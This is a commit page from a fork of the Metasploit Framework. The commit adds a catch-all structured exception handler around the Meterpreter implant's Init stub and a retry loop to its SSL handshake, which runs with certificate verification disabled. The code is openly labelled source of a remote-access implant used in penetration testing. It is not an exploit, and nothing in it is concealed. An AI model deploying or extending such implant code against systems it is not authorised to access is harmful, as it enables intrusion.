dnrops
/
metasploit-framework
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Adds a top-level SEH handler around the initialization stub, prevents a fatal error from preventing EXITFUNC from being called. 

git-svn-id: file:///home/svn/framework3/trunk@6722 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
HD Moore 2009-06-27 19:39:10 +00:00
parent f90d4123ab
commit 0ad96dd656
2 changed files with 36 additions and 18 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
external/source/meterpreter/source/common/common.h vendored
View File

@ -10,8 +10,8 @@
#include <windows.h>
#endif
#include "polarssl/net.h"
#include "polarssl/ssl.h"
#include "polarssl/net.h"
#include "polarssl/ssl.h"
#include "polarssl/havege.h"
#include "linkage.h"

50
external/source/meterpreter/source/server/metsrv.c vendored
View File

@ -1,5 +1,8 @@
#include "metsrv.h"
#include <windows.h> // for EXCEPTION_ACCESS_VIOLATION
#include <excpt.h>
// include the PolarSSL library
#pragma comment(lib,"polarssl.lib")
@ -14,13 +17,20 @@
DWORD monitor_loop(Remote *remote);
int exceptionfilter(unsigned int code, struct _EXCEPTION_POINTERS *ep) {
return EXCEPTION_EXECUTE_HANDLER;
}
/*
* Entry point for the DLL (or not if compiled as an EXE)
*/
DWORD __declspec(dllexport) Init(SOCKET fd)
{
Remote *remote = NULL;
DWORD res;
DWORD res = 0;
// if hAppInstance is still == NULL it means that we havent been
// reflectivly loaded so we must patch in the hAppInstance value
@ -30,12 +40,14 @@ DWORD __declspec(dllexport) Init(SOCKET fd)
srand(time(NULL));
__try
{
do
{
if (!(remote = remote_allocate(fd)))
{
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
break;
}
@ -63,6 +75,12 @@ DWORD __declspec(dllexport) Init(SOCKET fd)
if (remote)
remote_deallocate(remote);
}
/* Invoke the fatal error handler */
__except(exceptionfilter(GetExceptionCode(), GetExceptionInformation())) {
}
return res;
}
@ -74,25 +92,25 @@ DWORD negotiate_ssl(Remote *remote)
DWORD hres = ERROR_SUCCESS;
SOCKET fd = remote_get_fd(remote);
fd_set fdread;
havege_state hs;
ssl_context *ssl = &remote->ssl;
havege_state hs;
ssl_context *ssl = &remote->ssl;
ssl_session *ssn = &remote->ssn;
havege_init( &hs );
memset( ssn, 0, sizeof( ssl_session ) );
if(ssl_init(ssl) != 0 ) return(1);
ssl_set_endpoint( ssl, SSL_IS_CLIENT );
ssl_set_authmode( ssl, SSL_VERIFY_NONE );
ssl_set_rng( ssl, havege_rand, &hs );
ssl_set_bio( ssl, net_recv, &fd, net_send, &fd );
ssl_set_ciphers( ssl, ssl_default_ciphers );
havege_init( &hs );
memset( ssn, 0, sizeof( ssl_session ) );
if(ssl_init(ssl) != 0 ) return(1);
ssl_set_endpoint( ssl, SSL_IS_CLIENT );
ssl_set_authmode( ssl, SSL_VERIFY_NONE );
ssl_set_rng( ssl, havege_rand, &hs );
ssl_set_bio( ssl, net_recv, &fd, net_send, &fd );
ssl_set_ciphers( ssl, ssl_default_ciphers );
ssl_set_session( ssl, 1, 60000, ssn );
/* This wakes up the ssl.accept() on the remote side */
ssl_write(ssl, "GET / HTTP/1.0\r\n\r\n", 18);
while(ssl_write(ssl, "GET / HTTP/1.0\r\n\r\n", 18) == POLARSSL_ERR_NET_TRY_AGAIN) {}
return(0);
}